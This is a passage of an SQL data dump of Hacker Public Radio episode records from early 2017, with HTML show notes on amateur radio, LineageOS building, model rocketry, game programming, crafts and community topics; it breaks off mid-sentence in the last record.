(2240,'2017-03-03','Amateur Radio Round Table',3219,'HPR community hams get together to talk about ham radio','<h1 id=\"hpr-amateur-radio-round-table\">HPR Amateur Radio Round Table</h1>\r\n<p>2017-01-27, 0300 UTC</p>\r\n<h2 id=\"participants\">Participants:</h2>\r\n<ul>\r\n<li>cmhobbs KD5RYO</li>\r\n<li>Jon KT4KB</li>\r\n<li>Steve KD0IJP</li>\r\n<li>Michael DL4MGM</li>\r\n<li>Tyrel KG5RHT</li>\r\n</ul>\r\n<p>After a short introduction of the hosts, we start discussing the question that came up on the mailinglist:</p>\r\n<h2 id=\"how-do-you-get-started-at-all-how-do-you-get-the-license-to-participate-in-amateur-radio\">How do you get started at all? How do you get the license to participate in amateur radio?</h2>\r\n<p>Probably the amateur radio organisation in your country will provide the essential information required for obtaining an amateur radio license. Start looking at the International Amateur Radio Union at <a href=\"https://www.iaru.org\" class=\"uri\">https://www.iaru.org</a> and track down your country. From there you can search for information about your local area and local groups. In the US, look for the ARRL at <a href=\"https://www.arrl.org\" class=\"uri\">https://www.arrl.org</a>.</p>\r\n<p>If you do not chose to get involved with the local club before taking the test to get the license, we suggest you do so after that. Local events and clubs can provide the insight into the vast possibilities amateur radio has to offer. This will allow you to chose much better, where your personal interests are and where to start. Radio &quot;nets&quot;, are mentioned as a good starting point to actually get &quot;on the air&quot; and to overcome any possible shyness.</p>\r\n<h2 id=\"acronyms-explained-along-the-way\">Acronyms explained along the way</h2>\r\n<ul>\r\n<li>VFO: Variable Frequency Oscillator. The thing behind the main tuning dial to adjust the frequency, an important building block of radio equipment. In modern gear the VFO-mode is the mode where you can continuously change the frequency in certain increments, as opposed to memory mode, where you normally select from a set of fixed frequencies previously stored.</li>\r\n<li>CW: Continuous Wave. Used to reference to Morse code telegraphy as an operating mode.</li>\r\n<li>VHF: Very High Frequency. Generally this references the frequency range 30 Mhz to 300 MHz. In the context of a radio user, it normally means the sub range in there, that is assigned to the specific use.</li>\r\n<li>UHF: Ultra High Frequency. 300 MHz to 3 GHz</li>\r\n<li>HF: High Frequency. Range 3 MHz to 30 MHz. Also referenced to as &quot;short wave&quot; frequencies. Several amateur radio &quot;bands&quot; are spread out in that frequency range.</li>\r\n</ul>\r\n<p>We often reference frequency ranges by wavelength. E.g. the &quot;20m band&quot;, which is the frequency allocation for amateur radio at 14 MHz. The connection is: Wavelength = c / frequency, with c being the speed of light. A rule of thumb is: Wavelength [m] = 300 / frequency [MHz]</p>\r\n<p>Hint: The manufacturer Tektronix offers a nice poster with the world wide frequency assignments worked in: <a href=\"https://info.tek.com/rs/tektronix/images/eGuide-to-RF-Signals.pdf\" class=\"uri\">https://info.tek.com/rs/tektronix/images/eGuide-to-RF-Signals.pdf</a></p>\r\n<h2 id=\"we-went-on-describing-a-bit-where-our-personal-interests-in-amateur-radio-are.\">We went on describing a bit where our personal interests in amateur radio are.</h2>\r\n<p>Our combined interests cover all the way from Morse code over voice communication to digital modes and &quot;foxhunt&quot; (the radio sport of Amateur Radio Direction Finding). Note that there are many other facets to amateur radio. Even our combined interests are just a small segment of the possible activities within the avocation.</p>\r\n<p>We talk about getting started with just listening to amateur radio traffic on the short wave frequencies.</p>\r\n<h2 id=\"why-do-you-need-a-license-why-not-just-do-it\">Why do you need a license, why not just do it?</h2>\r\n<p>First, without a license, it is ILLEGAL.</p>\r\n<p>Law makers have acknowledged that one important goal of amateur radio is education and experimentation. We are allowed to modify equipment or even build it completely from scratch and operate it legally on the assigned frequencies. This is a unique privilege that sets amateur radio apart from any other radio users which have to use certified equipment.</p>\r\n<p>We give some amateur related podcast recommendations, among those: Linux in the ham shack (<a href=\"https://lhspodcast.info\" class=\"uri\">https://lhspodcast.info</a>) and HamRadio 360 (<a href=\"https://hamradio360.com\" class=\"uri\">https://hamradio360.com</a>).</p>\r\n<h2 id=\"the-next-edition-of-the-amateur-radio-round-table\">The Next Edition of the Amateur Radio Round Table</h2>\r\n<p>Next ham radio round table will be held in about a month, with a time that will be better suited for European time zones. We welcome anyone to participate, whether or not you are a licensed ham. Watch the HPR email list for announcements and details.</p>\r\n',109,0,0,'CC-BY-SA','amateur radio, ham',0,0,1),
(2242,'2017-03-07','Interview with Colin J. Mills, organizer of KW Linuxfest',647,'After the KW Linuxfest, Bob Jonkman and Colin Mills sat down and talked for a while.','<p>After the KW Linuxfest on Saturday, 28 January 2017, Bob Jonkman and Colin J. Mills (HPR host <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=286\"><em>cjm</em></a>) sat down and talked about some of the organizational challenges in running an event, Colin\'s co-op program at Conestoga College, and anticipating another KW Linuxfest in 2018.</p>\r\n<p>KW Linuxfest is at <a href=\"https://kwlinuxfest.ca/\">https://kwlinuxfest.ca/</a></p>\r\n<p>KW Linuxfest 2017 was sponsored by Vehikl <a href=\"https://vehikl.com/\">https://vehikl.com/</a></p>\r\n<p>Kitchener Waterloo Linux User Group: <a href=\"https://kwlug.org\">https://kwlug.org</a></p>\r\n<p>You can reach Colin J. Mills at kwlinuxfest.nospam@nospam.gmail.com</p>\r\n',350,78,0,'CC-BY-SA','Linux, Kitchener-Waterloo',0,0,1),
(2247,'2017-03-14','2016-2017 HPR New Year show 1',15870,'Hacker Public Radio new years eve show episode 1','<h2 id=\"hpr-new-years-eve-show-episode-1\">HPR new years eve show episode 1</h2>\r\n<ul>\r\n<li>FiftyOneFifty’s home network</li>\r\n<li>FiftyOneFifty talks guns</li>\r\n<li>Reg A talks about his early days of computing</li>\r\n<li>Caganer nativity scenes:\r\n<ul><li><a href=\"https://en.wikipedia.org/wiki/Caganer\">Wikipedia entry</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=LJxHHP-aTOc\">Stephen Fry speaking about the tradition on <em>QI</em></a></li>\r\n</ul></li>\r\n<li>The US Air Force</li>\r\n<li>booze food and cpap machines</li>\r\n<li>earliest memories</li>\r\n<li>discuss our early days of computing</li>\r\n<li>knightwise and mobile computing</li>\r\n<li>drw’s early days of computing and linux</li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','new years eve show',0,0,1),
(2249,'2017-03-16','2016-2017 HPR New Year show episode 3',13526,'Hacker Public Radio new years eve show episode 3','<h2 id=\"hpr-new-years-eve-show-episode-3\">HPR new years eve show episode 3</h2>\r\n<ul>\r\n<li>Carrie Fisher</li>\r\n<li>voting / politics</li>\r\n<li>heritages</li>\r\n<li>Wikipedia for news</li>\r\n<li>pizza gate</li>\r\n<li>why we love Linux</li>\r\n<li>text editors</li>\r\n<li>forum fun</li>\r\n<li>coffee is great</li>\r\n<li>making money with free software</li>\r\n<li>free software in the workplace</li>\r\n<li>Single board computers</li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','new years eve show',0,0,1),
(2250,'2017-03-17','2016-2017 HPR New Year show episode 4',14536,'Hacker Public Radio new years eve show episode 4','<h2 id=\"hpr-new-years-eve-show-episode-4\">HPR new years eve show episode 4</h2>\r\n<ul>\r\n<li>pine 64 laptop <a href=\"https://www.pine64.org/?page_id=3707\" class=\"uri\">https://www.pine64.org/?page_id=3707</a></li>\r\n<li>x86 vs arm</li>\r\n<li>arm devices as a home NAS device</li>\r\n<li>retropie (the gateway into SBCs) <a href=\"https://retropie.org.uk\" class=\"uri\">https://retropie.org.uk</a></li>\r\n<li>how / should we consume our video content</li>\r\n<li>Jonathan Nadeau\'s book <a href=\"https://www.indiegogo.com/projects/vision-inspirational#/\" class=\"uri\">https://www.indiegogo.com/projects/vision-inspirational#/</a></li>\r\n<li>New years traditions</li>\r\n<li>3D printing fun</li>\r\n<li>Car talk</li>\r\n<li>Fireworks and Disney</li>\r\n<li>Exploring the US</li>\r\n<li>Beer talk</li>\r\n<li>BlackArch <a href=\"https://blackarch.org\" class=\"uri\">https://blackarch.org</a></li>\r\n<li>hard drives</li>\r\n<li>Old cars</li>\r\n</ul>',159,121,1,'CC-BY-SA','new years eve show',0,0,1),
(2251,'2017-03-20','2016-2017 HPR New Year show episode 5',10179,'Hacker Public Radio new years eve show episode 5','<h2 id=\"hpr-new-years-eve-show-episode-5\">HPR new years eve show episode 5</h2>\r\n<ul>\r\n<li>coffee and tea</li>\r\n<li>screw fifty\'s ISP</li>\r\n<li>home networking</li>\r\n<li>SBCs:\r\n<ul>\r\n<li>Vocore2 <a href=\"https://vocore.io\" class=\"uri\">https://vocore.io</a></li>\r\n<li>Blackswift <a href=\"https://www.black-swift.com\" class=\"uri\">https://www.black-swift.com</a></li>\r\n<li>Banana pi <a href=\"https://www.banana-pi.org\" class=\"uri\">https://www.banana-pi.org</a></li>\r\n<li>Pine 64 <a href=\"https://www.pine64.org\" class=\"uri\">https://www.pine64.org</a></li>\r\n</ul></li>\r\n<li>crowd funding fun</li>\r\n<li>Linux Fests</li>\r\n<li>goggle</li>\r\n<li>police stories</li>\r\n<li>More crowd funding and SBCs</li>\r\n</ul>',159,121,1,'CC-BY-SA','new years eve show',0,0,1),
(2252,'2017-03-21','2016-2017 HPR New Year show episode 6',10369,'Hacker Public Radio new years eve show episode 6','<h2 id=\"hpr-new-years-eve-show-episode-6\">HPR new years eve show episode 6</h2>\r\n<ul>\r\n<li>yet more about SBCs</li>\r\n<li>spoken languages</li>\r\n<li>programming languages</li>\r\n<li>open source creative podcast <a href=\"https://monsterjavaguns.com/podcast/\" class=\"uri\">https://monsterjavaguns.com/podcast/</a></li>\r\n<li>synaptic driver</li>\r\n<li><a href=\"https://search.code4sale.com\" class=\"uri\">https://search.code4sale.com</a></li>\r\n<li>some enlightenment love</li>\r\n<li>Blender love</li>\r\n<li>will the ubuntu phone die in 2017?</li>\r\n<li>can we trust Google</li>\r\n<li>programming on ubuntu touch with lazarus <a href=\"https://www.lazarus-ide.org\" class=\"uri\">https://www.lazarus-ide.org</a></li>\r\n<li>gpd win <a href=\"https://www.indiegogo.com/projects/gpd-win-intel-z8700-win-10-os-game-console-laptop#/\" class=\"uri\">https://www.indiegogo.com/projects/gpd-win-intel-z8700-win-10-os-game-console-laptop#/</a></li>\r\n<li>ces <a href=\"https://www.ces.tech\" class=\"uri\">https://www.ces.tech</a></li>\r\n</ul>',159,121,1,'CC-BY-SA','new years eve show',0,0,1),
(2239,'2017-03-02','making jerky',749,'jezra goes talks about his process for making jerky, while making jerky','<ul>\r\n<li>Slice meat thin and against the grain</li>\r\n<li>Season the meat</li>\r\n<li>Dehydrate the meat</li>\r\n</ul>\r\n<p>enjoy!</p>',243,0,1,'CC-BY-SA','meat,jerky,dehydrator',0,0,1),
(2244,'2017-03-09','building lineageOS',1180,'I try my hand at building lineageOS for my device','<p>i am too ignorant to build for the device that i want.</p>\r\n<p>i mention a dev from <a href=\"https://forum.xda-developers.com\">xda</a>.</p>\r\n<p>i am running <a href=\"https://www.debian.org/\">debian</a> sid... also mention <a href=\"https://www.archlinux.org/\">arch</a> and the importance of shownotes.</p>\r\n<p>following <a href=\"https://wiki.lineageos.org/spyder_build.html\">lineage</a> wiki, i merge the extra commands from a 14.1 device page.</p>\r\n<p>install adb fastboot repo with package manager and you can ignore creating ~/bin, chmod command, and PATH update as these tools were installed by your package manager.</p>\r\n<p>install list given on the wiki of packages...some will not exist... search to find out their names.</p>\r\n<p>cd into the location for your project.</p>\r\n<pre><code>$ mkdir -p ./android/system\r\n$ cd android/system\r\n$ repo init -u https://github.com/LineageOS/android.git -b cm-14.1\r\n$ repo sync\r\n$ repo sync\r\n$ repo sync</code></pre>\r\n<p>successful new 50G on my drive.</p>\r\n<code>$ nano android/system/.repo/local_manifests/roomservice.xml</code>\r\n<p>add the needed lines from the <a href=\"https://github.com/TheMuppets/manifests/blob/cm-14.1/muppets.xml\">muppets</a> and ignore extracting proprietary blobs.</p>\r\n<pre><code>$ repo sync\r\n$ source build/envsetup.sh\r\n$ breakfast spyder\r\n$ export USE_CCACHE=1\r\n$ prebuilts/misc/linux-x86/ccache/ccache -M 50G\r\n$ export ANDROID_JACK_VM_ARGS=\"-Dfile.encoding=UTF-8 -XX:+TieredCompilation -Xmx4G\"\r\n$ export WITH_SU=true\r\n$ croot\r\n$ brunch spyder</code></pre>\r\n<p>ran 99% and errored... xmllint command not found.</p>\r\n<p>search for and install libxml2-utils.</p>\r\n<p>rerun build and get an out of memory error... go to bed... try tomorrow... shutdown machine.</p>\r\n<p>sift through old information as things have changed regarding file names and such.</p>\r\n<code>$ nano ~/.jack-server/config.properties</code>\r\n<p>change jack.server.max-service=4 to 2</p>\r\n<p>start from envsetup.sh again.</p>\r\n<code>$ cd $OUT</code>\r\n<p>boot phone to recovery and install</p>\r\n<code>$ adb sideload ./lineage-14.1-20170202-UNOFFICIAL-spyder.zip</code>\r\n<p>i remove some apps and install <a href=\"https://f-droid.org/\">fdroid</a>.</p>',329,0,1,'CC-BY-SA','android, lineageos, cyanogenmod, compiling ',0,0,1),
(2253,'2017-03-22','How to make and use a stencil',833,'Cutting and using a stencil made of thick foil','<p>To make a stencil you need</p>\r\n<ul>\r\n<li>a motif</li>\r\n<li>thick foil/cardboard/metal sheet</li>\r\n<li>sharp knife/scalpel</li>\r\n</ul>\r\n<p>To use a stencil:</p>\r\n<ul>\r\n<li>stencil</li>\r\n<li>tape</li>\r\n<li>paint</li>\r\n<li>sponge/spray can</li>\r\n<li>a surface to put it on</li>\r\n</ul>\r\n<ol type=\"1\">\r\n<li>Find a motif or make your own</li>\r\n<li>Copy/print motif on thick foil</li>\r\n<li>Cut out the black parts carefully</li>\r\n<li>Tape stencil to surface</li>\r\n<li>Apply paint with sponge</li>\r\n<li>Carefully take off stencil</li>\r\n<li>Tadaaaaaaa</li>\r\n</ol>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr2253.jpg\">\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2253_small.jpg\" alt=\"Stencil\"/>\r\n</a>\r\n</p>\r\n',351,0,1,'CC-BY-SA','stencil,diy',0,0,1),
(2256,'2017-03-27','Modular Game Scaling',277,'how I allowed more display resolutions in a modular game design','<p>NOTE: the audio didn\'t cut together as smoothly as I remember from the first time, probably because I forgot to record at 44.1 KHz</p>\r\n<p>In this episode I explain in broad terms how I programmed a game system to adjust its display resolution using three distinct modules operating individually and in concert.</p>\r\n<ul>\r\n<li>The &quot;metagame&quot; (launcher) module accepts an argument describing the size of the window available for display</li>\r\n<li>The &quot;gameplay&quot; module is informed of the space available as a \'window\' into the game world and uses it for one thing or another</li>\r\n<li>The &quot;graphics&quot; module opens a window at the specified size and modifies the graphical assets if needed</li>\r\n</ul>\r\n<p>Once again I recorded in parts using a program called <a href=\"https://bitbucket.org/thomasebell/urecord\">Urecord</a> on my pocket computer (mobile phone).</p>\r\n<p>I program using <a href=\"https://www.pygame.org/wiki/about\">Pygame</a>, post on a <a href=\"https://loadaverage.org/ericxdu23\">GNU Social account</a>, maintain a personal website at <a href=\"https://www.noxbanners.net/\">NoxBanners.NET</a>, and study programming techniques at <a href=\"https://refactoring.com/\">Refactoring.com</a>, style at <a href=\"https://www.python.org/dev/peps/pep-0008/\">Python.org</a>, and sometimes patterns at <a href=\"https://c2.com/ppr/\">Portland Pattern Repository</a></p>',317,0,0,'CC-BY-SA','video games, programming, object-oriented, game development, design patterns',0,0,1),
(2243,'2017-03-08','My Quick Tips E01',485,'I ramble on about some of my tips I recorded','<ul>\r\n<li>Adblocker Android :<br />\r\n<a href=\"https://www.linkedin.com/pulse/block-ads-android-youtube-tubemate-adblock-edge-luck-patcher-mccurdy?trk=mp-reader-card\" class=\"uri\">https://www.linkedin.com/pulse/block-ads-android-youtube-tubemate-adblock-edge-luck-patcher-mccurdy?trk=mp-reader-card</a></li>\r\n<li>Cat Litter box tips : No need to buy litter bags etc</li>\r\n<li>Fall Leaf: Say no to silly paper bags</li>\r\n<li>Free stuff : Electronic Dumpster Diving</li>\r\n<li>Shaving tips:<br />\r\n<a href=\"https://www.truefittandhill.com/products/west-indian-limes-shaving-cream-bowl\" class=\"uri\">https://www.truefittandhill.com/products/west-indian-limes-shaving-cream-bowl</a></li>\r\n</ul>\r\n<p>-rmccurdy.com</p>',36,0,1,'CC-BY-SA','Firefox,adblocker,cat litter,electronic recycling,shaving',0,0,1),
(2246,'2017-03-13','My Custom RSS Comic and Security Feed',396,'Ya RSS say something. I talk about my comics only RSS feed','<ul>\r\n<li>Comics:<br />\r\n<a href=\"https://rmccurdy.com/scripts/comics.rss\" class=\"uri\">https://rmccurdy.com/scripts/comics.rss</a></li>\r\n<li>split out:<br />\r\n<a href=\"https://rmccurdy.com/scripts/\" class=\"uri\">https://rmccurdy.com/scripts/</a></li>\r\n<li>reall old sec feed<br />\r\n<a href=\"https://rmccurdy.com/scripts/feeds.rss\" class=\"uri\">https://rmccurdy.com/scripts/feeds.rss</a></li>\r\n</ul>',36,0,1,'CC-BY-SA','RSS,Comics,html,scripting',0,0,1),
(2254,'2017-03-23','Introduction to Model Rocketry',3248,'Steve talks about the hobby of model rocketry including some of the advanced aspects of the hobby.','<h1 id=\"introduction-to-model-rocketry\">Introduction to Model Rocketry</h1>\r\n<p>In this episode I introduce the hobby of model rocketry. I specifically highlight some of the advanced elements of the hobby to show how model rocketry goes from being a fun activity for kids to a serious hobby enjoyed by many adults.</p>\r\n<h2 id=\"outline\">Outline</h2>\r\n<ol type=\"1\">\r\n<li>History of model rocketry.</li>\r\n</ol>\r\n<ul>\r\n<li>Early amateur experimentation with rocketry.</li>\r\n<li>G. Harry Stine develops the model rocket motor.</li>\r\n<li>Vern Estes develops a way to mass produce motors.</li>\r\n</ul>\r\n<ol start=\"2\" type=\"1\">\r\n<li>Basic model rocket components and flight.</li>\r\n</ol>\r\n<ul>\r\n<li>Airframe, nose cone, and fins.</li>\r\n<li>The part of the model rocket motor.</li>\r\n<li>Recovery mechanism (parachutes and streamers).</li>\r\n<li>The launch pad</li>\r\n<li>The basic flight profile of a model rocket.</li>\r\n<li>Building a typical model rocket kit.</li>\r\n</ul>\r\n<ol start=\"3\" type=\"1\">\r\n<li>Scratch building your own designs.</li>\r\n</ol>\r\n<ul>\r\n<li>Using commercial components.</li>\r\n<li>Using ordinary materials for rockets.</li>\r\n<li>Fabricating components: Lathes, laser cutters, CNC machines, etc.</li>\r\n<li>Using CAD and simulation software.</li>\r\n</ul>\r\n<ol start=\"4\" type=\"1\">\r\n<li><p>Craftsmanship and scale modeling.</p></li>\r\n<li>Model rocket competition.</li>\r\n</ol>\r\n<ul>\r\n<li>Regional, national, and international meets.</li>\r\n<li>Events: Altitude, duration, advanced recovery methods, payloads, egglofting.</li>\r\n</ul>\r\n<ol start=\"6\" type=\"1\">\r\n<li>High power rockets.</li>\r\n</ol>\r\n<ul>\r\n<li>Large rockets.</li>\r\n<li>High altitude rockets.</li>\r\n<li>Supersonic rockets</li>\r\n<li>Composite motors.</li>\r\n<li>Regulations</li>\r\n<li>Certification</li>\r\n<li>Materials</li>\r\n</ul>\r\n<ol start=\"7\" type=\"1\">\r\n<li>Complex rocketry.</li>\r\n</ol>\r\n<ul>\r\n<li>Motor clustering.</li>\r\n<li>Staging.</li>\r\n<li>Dual deployment.</li>\r\n</ul>\r\n<ol start=\"8\" type=\"1\">\r\n<li>Electronics</li>\r\n</ol>\r\n<ul>\r\n<li>Altimeters</li>\r\n<li>Flight computers</li>\r\n<li>Tracking</li>\r\n<li>Cameras</li>\r\n</ul>\r\n<ol start=\"9\" type=\"1\">\r\n<li><p>Experimental motors.</p></li>\r\n<li>National associations.</li>\r\n</ol>\r\n<ul>\r\n<li>National Association of Rocketry (NAR).</li>\r\n<li>Tripoli Rocketry Association (TRA).</li>\r\n<li>Safety codes.</li>\r\n<li>Liability insurance.</li>\r\n<li>Local clubs.</li>\r\n</ul>\r\n<ol start=\"11\" type=\"1\">\r\n<li><p>Safety.</p></li>\r\n<li><p>A little about my personal interests in model rocketry.</p></li>\r\n</ol>\r\n<h2 id=\"resources\">Resources</h2>\r\n<p>The following is a non-exhaustive list of companies that manufacture and/or sell model rocket kits and suplies. I\'ve primary listed those that I\'m most familiar with. There are certainly others.</p>\r\n<ul>\r\n<li>Estes <a href=\"https://www.estesrockets.com/\" class=\"uri\">https://www.estesrockets.com/</a></li>\r\n<li>Quest <a href=\"https://www.questaerospace.com/\" class=\"uri\">https://www.questaerospace.com/</a></li>\r\n<li>Semroc <a href=\"https://www.semroc.com/\" class=\"uri\">https://www.semroc.com/</a></li>\r\n<li>Apogee Components <a href=\"https://www.apogeerockets.com/\" class=\"uri\">https://www.apogeerockets.com/</a></li>\r\n<li>LOC Precision <a href=\"https://www.locprecision.com/\" class=\"uri\">https://www.locprecision.com/</a></li>\r\n<li>Public Missles Ltd <a href=\"https://publicmissiles.com/\" class=\"uri\">https://publicmissiles.com/</a></li>\r\n<li>Madcow Rocketry <a href=\"https://www.madcowrocketry.com/\" class=\"uri\">https://www.madcowrocketry.com/</a></li>\r\n<li>Giant Leap Rocketry <a href=\"https://giantleaprocketry.com/\" class=\"uri\">https://giantleaprocketry.com/</a></li>\r\n<li>Flis Kits Inc <a href=\"https://www.fliskits.com/\" class=\"uri\">https://www.fliskits.com/</a></li>\r\n<li>Wildman Rocketry <a href=\"https://www.wildmanrocketry.com/\" class=\"uri\">https://www.wildmanrocketry.com/</a></li>\r\n</ul>\r\n<p>These are some of the major manufactures of high power composite motors.</p>\r\n<ul>\r\n<li>Aerotech Consumer Aerospace <a href=\"https://www.aerotech-rocketry.com/\" class=\"uri\">https://www.aerotech-rocketry.com/</a></li>\r\n<li>Cesaroni Technology <a href=\"https://www.pro38.com/\" class=\"uri\">https://www.pro38.com/</a></li>\r\n</ul>\r\n<p>These are the two United States national model rocketry associations.</p>\r\n<ul>\r\n<li>National Association of Rocketry <a href=\"https://www.nar.org/\" class=\"uri\">https://www.nar.org/</a></li>\r\n<li>Tripoli Rocketry Assocation <a href=\"https://www.tripoli.org/\" class=\"uri\">https://www.tripoli.org/</a></li>\r\n</ul>\r\n<p>Resource for competition rocketry.</p>\r\n<ul>\r\n<li>National Association of Rocketry Annual Meet <a href=\"https://www.nar.org/contest-flying/naram-the-nationals/\" class=\"uri\">https://www.nar.org/contest-flying/naram-the-nationals/</a></li>\r\n<li>FAI World Championship <a href=\"https://www.fai.org/\" class=\"uri\">https://www.fai.org/</a></li>\r\n</ul>\r\n<p>Here are a number of other interesting links</p>\r\n<ul>\r\n<li>G. Harry Stine Wikipedia Page <a href=\"https://en.wikipedia.org/wiki/G._Harry_Stine\" class=\"uri\">https://en.wikipedia.org/wiki/G._Harry_Stine</a></li>\r\n<li>Vern Estes Wikipedia Page <a href=\"https://en.wikipedia.org/wiki/Vernon_Estes\" class=\"uri\">https://en.wikipedia.org/wiki/Vernon_Estes</a></li>\r\n<li>October Sky Wikipedia Page <a href=\"https://en.wikipedia.org/wiki/October_Sky\" class=\"uri\">https://en.wikipedia.org/wiki/October_Sky</a></li>\r\n<li>Homer Hickam Jr Wikipedia Page <a href=\"https://en.wikipedia.org/wiki/Homer_Hickam\" class=\"uri\">https://en.wikipedia.org/wiki/Homer_Hickam</a></li>\r\n</ul>\r\n<h2 id=\"errata\">Errata</h2>\r\n<p>In the show I said that G. Harry Stine worked at the White Sands Missile Base. The correct name for that facility is White Sands Missile Range. But, during the time that Stine worked there, it would have been called the White Sands Proving Ground. <a href=\"https://www.wsmr.army.mil/\" class=\"uri\">https://www.wsmr.army.mil/</a></p>\r\n',334,0,0,'CC-BY-SA','hobbies, rockets, models, rocketry',0,0,1),
(2262,'2017-04-04','Abstracting Nurse Jesus',324,'how I abstracted random number generation for more syntactic sugar','<p>NOTE: the audio recording appears to have periodic jitter. As I recorded at 44.1 Khz this time, I wonder if my S2 just handles recording at a lower quality better, and if so I\'ll prefer lower quality over jitter in the recording.</p>\r\n<p>In this episode I explain why and how I abstracted random number and choice generation into self-sustainable methods for objects.</p>\r\n<ul>\r\n<li>A superclass was needed so that all the classes of object in the game engine would have access to these random generation methods.</li>\r\n<li>I preferred to use methods in this case so objects would be self-sufficient and wouldn\'t depend on extra modules imported at the top of my code.</li>\r\n<li>The syntactic sugar achieved by using customized methods instead of i.e. random.randint(0, 99) makes the code easier to write and understand at a glance.</li>\r\n<li>Nurse Jesus is a pun on the acronym RNG for Random Number Generator</li>\r\n<li>Let me know if you get the reference at 2:00 ;-)</li>\r\n</ul>\r\n<p>I recorded this episode in parts using a program called <a href=\"https://bitbucket.org/thomasebell/urecord\">Urecord</a> on my pocket computer (mobile phone).</p>\r\n<p>I program using <a href=\"https://www.pygame.org/wiki/about\">Pygame</a>, post on a <a href=\"https://loadaverage.org/ericxdu23\">GNU Social account</a>, and maintain a personal website at <a href=\"https://www.noxbanners.net/\">NoxBanners.NET</a>. I study programming techniques at <a href=\"https://refactoring.com/\">Refactoring.com</a>, style at <a href=\"https://www.python.org/dev/peps/pep-0008/\">Python.org</a>, and sometimes patterns at <a href=\"https://c2.com/ppr/\">Portland Pattern Repository</a></p>\r\n',317,0,0,'CC-BY-SA','video games, programming, object-oriented, game development, abstraction',0,0,1),
(2260,'2017-03-31','Managing tags on HPR episodes - 2',1477,'Looking for the best way to store and manage tags in the HPR database, part 2','<h1 id=\"managing-tags-on-hpr-episodes---2\">Managing tags on HPR episodes - 2</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the second show looking at the subject of Managing Tags.</p>\r\n<p>In the <a href=\"https://hackerpublicradio.org/eps.php?id=2245\" title=\"Managing tags on HPR episodes - 1\">first show</a> we looked at why we need tags, examined the present system and considered its advantages and disadvantages.</p>\r\n<p>In this episode we will look at a solution using a separate table of tags.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>This is a detailed subject so I have written out a set of longer notes for this episode and these are available <a href=\"https://hackerpublicradio.org/eps/hpr2260/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Previous show in this set:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2245\">“<em>Managing tags on HPR episodes - 1</em>”</a> - episode 2245</li>\r\n</ul></li>\r\n<li>HPR web page listing <a href=\"https://hackerpublicradio.org/report_missing_tags.php\">shows missing summaries and tags</a></li>\r\n<li><a href=\"https://stackoverflow.com/questions/17942508/sql-split-values-to-multiple-rows\">Stack Overflow article about splitting CSV data</a></li>\r\n<li>A more detailed article about <a href=\"https://tagging.pui.ch/post/37027745720/tags-database-schemas\">tags in a database</a></li>\r\n<li>HPR show 1965 <a href=\"https://hackerpublicradio.org/eps.php?id=1965\">“<em>Adding SQLite as a datasource to SQLeo</em>”</a></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2260/full_shownotes.html\">Detailed notes</a> for this episode</li>\r\n<li>SQL to define a ‘<code>tags</code>’ table, its indexes and code to populate it: <a href=\"https://hackerpublicradio.org/eps/hpr2260/normalise_tags_1.sql\"><code>normalise_tags_1.sql</code></a></li>\r\n<li>SQL to perform the emptying of the ‘<code>tags</code>’ table and its repopulation: <a href=\"https://hackerpublicradio.org/eps/hpr2260/refresh_tags.sql\"><code>refresh_tags.sql</code></a></li>\r\n<li>SQL to find all shows related to a given show using tags: <a href=\"https://hackerpublicradio.org/eps/hpr2260/find_shows_sharing_tags.sql\"><code>find_shows_sharing_tags.sql</code></a></li>\r\n<li>Perl script to manage the tag table: <a href=\"https://hackerpublicradio.org/eps/hpr2260/refresh_tags\"><code>refresh_tags</code></a></li>\r\n</ul></li>\r\n</ul>',225,0,1,'CC-BY-SA','HPR,database,schema,tag,SQL,foreign key',0,0,1),
(2263,'2017-04-05','Freak Does Geek',1449,'A drift through a variety of topic with the letter A as the \"Anchor\"','<ul>\r\n<li><p>A similar type of audio recorder that was discussed. <br />\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/2/29/RadioShack-ctr-119.jpg\" alt=\"Tape recorder\" width=\"400\" /></p></li>\r\n<li><p>MP3 discussed:<br />\r\n<a href=\"https://en.wikipedia.org/wiki/MP3\" class=\"uri\">https://en.wikipedia.org/wiki/MP3</a></p></li>\r\n<li><p>The audio enhanced superhero series discussed... avoid the movie:<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Daredevil_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Daredevil_(TV_series)</a></p></li>\r\n<li><p>Star wars and the trash compactor and the cardboard playset I had:<br />\r\n<a href=\"https://www.starwars.com/news/the-vintage-vault-thats-no-moon-its-a-playset\" class=\"uri\">https://www.starwars.com/news/the-vintage-vault-thats-no-moon-its-a-playset</a></p></li>\r\n</ul>',352,0,0,'CC-BY-SA','audio,tape recorder,mp3',0,0,1),
(2255,'2017-03-24','The Good Ship HPR',1571,'HPR is a wonderful yet fragile project completely dependent on a steady flow of shows from hosts','<h1 id=\"the-good-ship-hpr\">The Good Ship HPR</h1>\r\n<h2 id=\"hacker-public-radio\">Hacker Public Radio</h2>\r\n<h3 id=\"what-is-it\">What is it?</h3>\r\n<p>The podcast called <em>Hacker Public Radio</em> (HPR) is an amazing phenomenon. It has been providing an episode a day every weekday for years, and these episodes originate from the community.</p>\r\n<p>I heard someone refer to HPR as “<em>Crowd Sourced</em>” which seemed like a good way of describing things. It is an open access resource which is managed under various Creative Commons licences, usually CC-BY-SA.</p>\r\n<p>The content is very broad in scope. Anything “<em>of interest to Hackers</em>” is acceptable, which is interpreted in a wide variety of ways.</p>\r\n<p>Access to shows is open to all through the <a href=\"https://hackerpublicradio.org/index.php\" title=\"HPR site\">HPR site</a>, where shows back to episode 1 can be browsed, notes read, etc. There are <a href=\"https://hackerpublicradio.org/syndication.php\" title=\"Feeds\">feeds</a> which propagate various updates: to shows, series, comments and email. Current shows are archived to the Internet Archive (<a href=\"https://archive.org\" title=\"Internet Archive\">archive.org</a>) within a few days of appearing in the main feed, and older shows are 